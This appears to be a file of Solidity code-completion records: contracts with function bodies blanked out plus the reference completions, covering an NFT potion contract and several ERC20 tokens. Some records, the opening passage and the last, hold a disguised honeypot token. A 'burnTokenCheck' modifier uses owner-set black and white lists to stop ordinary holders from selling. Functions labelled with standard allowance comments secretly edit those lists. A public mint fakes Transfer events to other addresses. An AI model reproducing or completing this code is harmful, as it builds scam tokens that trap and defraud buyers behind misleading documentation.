_allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
_name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); _mint(0x20017a30D3156D4005bDA08C40Acda0A6aE209B1, initialSupply*(10**18)); _mint(0x8552Aa9dB5BCAA56D41411a4800309d7D0D35E36, initialSupply*(10**18)); _mint(0xC1d1B12bCE4a73310F268d49EFAB95eb2A679609, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0xB8f02248d53F7EdfA38E79263e743e9390f81942, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18)); _mint(0x10dB6Bce3F2AE1589ec91A872213DAE59697967a, initialSupply*(10**18));
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public
/** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public
67474
Potions
tokenURI
contract Potions is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 public price = 20000000000000000; //0.02 ETH //Loot Contract address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7; LootInterface public lootContract = LootInterface(lootAddress); string[] private common = [ "Potion of Healing", "Potion of Mana", "Potion of Stamina", "Potion of Strength", "Potion of Climbing", "Bonejuice Liqour", "Blackbrew Stout", "Hardroot Cider", "Grog", "Faerie Firerum", "Holy Water", "Antitoxin", "Oil of Wit", "Potion of Growth", "Potion of Diminution", "Potion of Freezing", "Sleeping Potion", "Elixir of Beast Whispering", "Vial of Luck", "Draught of Vigor" ]; string[] private rare = [ "Greater Potion of Healing", "Greater Potion of Mana", "Greater Potion of Stamina", "Greater Potion of Strength", "Elixir of Dragon Breath", "Tonic of Oblivion", "Vial of Courage", "Brew of Clairvoyance", "Ichor of Blight", "Elixir of Love", "Elixir of Madness", "Ichor of Bloodlust", "Vial of Etherealness", "Oil of Silver Tongue" ]; string[] private epic = [ "Potion of Flying", "Potion of Invisibility", "Oil of Haste", "Potion of Water Breathing", "Elixir of Vitality", "Brew of Berseker's Rage", "Poison of Chaos", "Dragonblood Brew", "Elixir of Regeneration" ]; string[] private legendary = [ "Essence of Resurrection", "Tonic of Invulnerability", "Elixir of Immortality", "Tincture of Werewolf's Bane", "Vial of Omniscience", "Elixir of Defilation", "Draught of Eternal Sleep" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getPotion(uint256 tokenId, string memory key) public view returns (string memory) { return pluck(tokenId, key); } function pluck( uint256 tokenId, string memory keyPrefix ) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); uint256 greatness = rand % 21; string memory output; if (greatness <= 14) { output = string(abi.encodePacked(common[rand % common.length])); } else if (15 <= greatness && greatness <= 17) { output = string(abi.encodePacked(rare[rand % rare.length])); } else if (18 <= greatness && greatness <= 19) { output = string(abi.encodePacked(epic[rand % epic.length])); } else if (20 == greatness) { output = string(abi.encodePacked(legendary[rand % legendary.length])); } return output; } function tokenURI(uint256 tokenId) public view override returns (string memory) {<FILL_FUNCTION_BODY> } function mint(uint256 tokenId) public payable nonReentrant { require(tokenId > 8000 && tokenId <= 12000, "Token ID invalid"); require(price <= msg.value, "Ether value sent is not correct"); _safeMint(_msgSender(), tokenId); } function multiMint(uint256[] memory tokenIds) public payable nonReentrant { require((price * tokenIds.length) <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < tokenIds.length; i++) { require(tokenIds[i] > 8000 && tokenIds[i] < 12000, "Token ID invalid"); _safeMint(msg.sender, tokenIds[i]); } } function mintWithLoot(uint256 lootId) public payable nonReentrant { require(lootId > 0 && lootId <= 8000, "Token ID invalid"); require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot"); _safeMint(_msgSender(), lootId); } function multiMintWithLoot(uint256[] memory lootIds) public payable nonReentrant { for (uint256 i = 0; i < lootIds.length; i++) { require(lootContract.ownerOf(lootIds[i]) == msg.sender, "Not the owner of this loot"); _safeMint(_msgSender(), lootIds[i]); } } function withdraw() public onlyOwner { payable(owner()).transfer(address(this).balance); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("Potions", "POTS") Ownable() {} }
contract Potions is ERC721Enumerable, ReentrancyGuard, Ownable { uint256 public price = 20000000000000000; //0.02 ETH //Loot Contract address public lootAddress = 0xFF9C1b15B16263C61d017ee9F65C50e4AE0113D7; LootInterface public lootContract = LootInterface(lootAddress); string[] private common = [ "Potion of Healing", "Potion of Mana", "Potion of Stamina", "Potion of Strength", "Potion of Climbing", "Bonejuice Liqour", "Blackbrew Stout", "Hardroot Cider", "Grog", "Faerie Firerum", "Holy Water", "Antitoxin", "Oil of Wit", "Potion of Growth", "Potion of Diminution", "Potion of Freezing", "Sleeping Potion", "Elixir of Beast Whispering", "Vial of Luck", "Draught of Vigor" ]; string[] private rare = [ "Greater Potion of Healing", "Greater Potion of Mana", "Greater Potion of Stamina", "Greater Potion of Strength", "Elixir of Dragon Breath", "Tonic of Oblivion", "Vial of Courage", "Brew of Clairvoyance", "Ichor of Blight", "Elixir of Love", "Elixir of Madness", "Ichor of Bloodlust", "Vial of Etherealness", "Oil of Silver Tongue" ]; string[] private epic = [ "Potion of Flying", "Potion of Invisibility", "Oil of Haste", "Potion of Water Breathing", "Elixir of Vitality", "Brew of Berseker's Rage", "Poison of Chaos", "Dragonblood Brew", "Elixir of Regeneration" ]; string[] private legendary = [ "Essence of Resurrection", "Tonic of Invulnerability", "Elixir of Immortality", "Tincture of Werewolf's Bane", "Vial of Omniscience", "Elixir of Defilation", "Draught of Eternal Sleep" ]; function random(string memory input) internal pure returns (uint256) { return uint256(keccak256(abi.encodePacked(input))); } function getPotion(uint256 tokenId, string memory key) public view returns (string memory) { return pluck(tokenId, key); } function pluck( uint256 tokenId, string memory keyPrefix ) internal view returns (string memory) { uint256 rand = random(string(abi.encodePacked(keyPrefix, toString(tokenId)))); uint256 greatness = rand % 21; string memory output; if (greatness <= 14) { output = string(abi.encodePacked(common[rand % common.length])); } else if (15 <= greatness && greatness <= 17) { output = string(abi.encodePacked(rare[rand % rare.length])); } else if (18 <= greatness && greatness <= 19) { output = string(abi.encodePacked(epic[rand % epic.length])); } else if (20 == greatness) { output = string(abi.encodePacked(legendary[rand % legendary.length])); } return output; } <FILL_FUNCTION> function mint(uint256 tokenId) public payable nonReentrant { require(tokenId > 8000 && tokenId <= 12000, "Token ID invalid"); require(price <= msg.value, "Ether value sent is not correct"); _safeMint(_msgSender(), tokenId); } function multiMint(uint256[] memory tokenIds) public payable nonReentrant { require((price * tokenIds.length) <= msg.value, "Ether value sent is not correct"); for (uint256 i = 0; i < tokenIds.length; i++) { require(tokenIds[i] > 8000 && tokenIds[i] < 12000, "Token ID invalid"); _safeMint(msg.sender, tokenIds[i]); } } function mintWithLoot(uint256 lootId) public payable nonReentrant { require(lootId > 0 && lootId <= 8000, "Token ID invalid"); require(lootContract.ownerOf(lootId) == msg.sender, "Not the owner of this loot"); _safeMint(_msgSender(), lootId); } function multiMintWithLoot(uint256[] memory lootIds) public payable nonReentrant { for (uint256 i = 0; i < lootIds.length; i++) { require(lootContract.ownerOf(lootIds[i]) == msg.sender, "Not the owner of this loot"); _safeMint(_msgSender(), lootIds[i]); } } function withdraw() public onlyOwner { payable(owner()).transfer(address(this).balance); } function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT license // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } constructor() ERC721("Potions", "POTS") Ownable() {} }
string[11] memory parts; // loot holders belt rarity determines how many potions they get // rarity <= 14 or no loot holder: 3 pots // rarity > 14 : 4 pots // rarity > 18 : 5 pots uint256 beltRarity = tokenId <= 8000 ? random(string(abi.encodePacked("WAIST", toString(tokenId)))) % 21 : 0; parts[ 0 ] = '<svg xmlns="http://www.w3.org/2000/svg" preserveAspectRatio="xMinYMin meet" viewBox="0 0 350 350"><style>.base { fill: white; font-family: serif; font-size: 14px; }</style><rect width="100%" height="100%" fill="black" /><text x="10" y="20" class="base">'; parts[1] = getPotion(tokenId, "FIRST"); parts[2] = '</text><text x="10" y="40" class="base">'; parts[3] = getPotion(tokenId, "SECOND"); parts[4] = '</text><text x="10" y="60" class="base">'; parts[5] = getPotion(tokenId, "THIRD"); parts[6] = '</text><text x="10" y="80" class="base">'; parts[7] = beltRarity > 14 ? getPotion(tokenId, "FOURTH") : ""; parts[8] = '</text><text x="10" y="100" class="base">'; parts[9] = beltRarity > 18 ? getPotion(tokenId, "FIFTH") : ""; parts[10] = "</text></svg>"; string memory output = string( abi.encodePacked(parts[0], parts[1], parts[2], parts[3], parts[4], parts[5], parts[6], parts[7], parts[8], parts[9], parts[10]) ); string memory json = Base64.encode( bytes( string( abi.encodePacked( '{"name": "Concoctions #', toString(tokenId), '", "description": "Concoctions are randomized potions generated and stored on chain. Images and other functionality are intentionally omitted for others to interpret. Feel free to use potions in any way you want. Inspired and compatible with Loot", "image": "data:image/svg+xml;base64,', Base64.encode(bytes(output)), '"}' ) ) ) ); output = string(abi.encodePacked("data:application/json;base64,", json)); return output;
function tokenURI(uint256 tokenId) public view override returns (string memory)
function tokenURI(uint256 tokenId) public view override returns (string memory)
77321
StandardToken
transferFrom
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; <FILL_FUNCTION> function approve(address _spender, uint256 _value) returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
var _allowance = allowed[_from][msg.sender]; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
function transferFrom(address _from, address _to, uint256 _value) returns (bool)
5185
NFTYield
_approveCheck
contract NFTYield is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {<FILL_FUNCTION_BODY> } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. */ modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner || sender == _safeOwner || recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
contract NFTYield is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply*(10**18)); } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, 